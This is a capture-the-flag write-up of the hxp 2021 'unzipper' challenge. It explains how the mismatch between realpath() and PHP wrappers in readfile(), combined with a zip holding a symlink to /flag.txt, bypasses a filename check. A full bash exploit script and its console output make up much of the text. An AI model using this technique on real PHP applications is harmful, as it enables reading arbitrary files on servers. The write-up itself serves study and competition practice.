All operations occur in a sandboxed directory generated for each new session.
It has two important paths:
* If a file is uploaded, it will be unzipped in the sandboxed directory.* Otherwise, if a `file` GET parameter is provided, it performs the following:    1. Check if the word 'flag' is not in the path resolved by `realpath($_GET['file'])`.    2. If it passes, run `readfile($_GET['file'])`.
Note that a symbolic link is not possible to be used directly. From the [man page forrealpath](https://man7.org/linux/man-pages/man3/realpath.3.html):
```       realpath() expands all symbolic links and resolves references to       /./, /../ and extra '/' characters in the null-terminated string       named by path to produce a canonicalized absolute pathname.  The       resulting pathname is stored as a null-terminated string, up to a       maximum of PATH_MAX bytes, in the buffer pointed to by       resolved_path.  The resulting path will have no symbolic link,       /./ or /../ components.```
The problem here is that `realpath` and `readfile` contain an incongruence in the way they processthe path passed to it. [Protocol schemes and wrappers](https://www.php.net/manual/en/wrappers.php)can be specified in the input to `readfile` but `realpath` expects a strict unix path. Thus, we canuse this confusion in conjunction with our ability to create directories and files with the zip fileto force `realpath` into resolving a valid UNIX path but cause `readfile` to process a `php://` URI.
To execute `readfile("php://filter/convert.base64-encode/resource=exploit")`, we need the followingdirectory structure:
```php:/php:/filter/php:/filter/convert.base64-encode/php:/filter/convert.base64-encode/resource=exploit```
This allows us to read from the `exploit` file which can be a symlink to `/flag.txt`. Zipping upthis directory structure plus the symlink and triggering the file read path grants us the flag.
The exploit is as follows. This could probably have been simplified with the `file://` scheme butthis probably demonstrates the directory structure better.
```bash#!/bin/bash
rm -rf exploit.dirmkdir -p exploit.dirpushd exploit.dir
TARGET='http://65.108.176.76:8200'EPATH='php://filter/convert.base64-encode/resource=exploit'
mkdir -p $EPATHln -s /flag.txt exploitzip -y -r exploit.zip *
curl -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' $TARGET -F "[email protected]"curl -s -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' "$TARGET/?file=$EPATH" | base64 -d
echopopd```
Running the exploit to get the flag:
```consolevagrant@ubuntu-xenial:/vagrant/hxp/unzipper$ bash exploit.sh/vagrant/hxp/unzipper/exploit.dir /vagrant/hxp/unzipper  adding: exploit (stored 0%)  adding: php:/ (stored 0%)  adding: php:/filter/ (stored 0%)  adding: php:/filter/convert.base64-encode/ (stored 0%)  adding: php:/filter/convert.base64-encode/resource=exploit/ (stored 0%)hxp{at_least_we_have_all_the_performance_in_the_world..._lolphp_:/}
/vagrant/hxp/unzippervagrant@ubuntu-xenial:/vagrant/hxp/unzipper$```
The generated directory containing the zip file and the zipped contents looks like so:
```console$ find exploit.direxploit.direxploit.dir/exploitexploit.dir/exploit.zipexploit.dir/php:exploit.dir/php:/filterexploit.dir/php:/filter/convert.base64-encodeexploit.dir/php:/filter/convert.base64-encode/resource=exploit```
**Flag:** `hxp{at_least_we_have_all_the_performance_in_the_world..._lolphp_:/}`
Full writeup: [https://nandynarwhals.org/hxp-ctf-2021-unzipper/](https://nandynarwhals.org/hxp-ctf-2021-unzipper/)